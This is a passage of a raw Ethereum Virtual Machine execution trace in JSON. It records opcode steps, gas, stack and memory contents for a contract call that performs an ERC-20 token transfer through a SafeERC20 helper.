6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3029,"op":"PUSH1","gas":29163,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3031,"op":"PUSH1","gas":29160,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3033,"op":"SLOAD","gas":29157,"gasCost":100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3034,"op":"DUP4","gas":29057,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3035,"op":"PUSH2","gas":29054,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3038,"op":"SWAP2","gas":29051,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x3","0x0","0xbe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3039,"op":"SWAP1","gas":29048,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3040,"op":"PUSH2","gas":29045,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3043,"op":"JUMP","gas":29042,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":29034,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":29033,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":29030,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":29027,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":29024,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":29021,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":29016,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":29013,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":29010,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":29007,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":29004,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":29001,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28998,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28995,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28992,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28982,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28981,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","000000000000000000000000000000000000000000000000000000000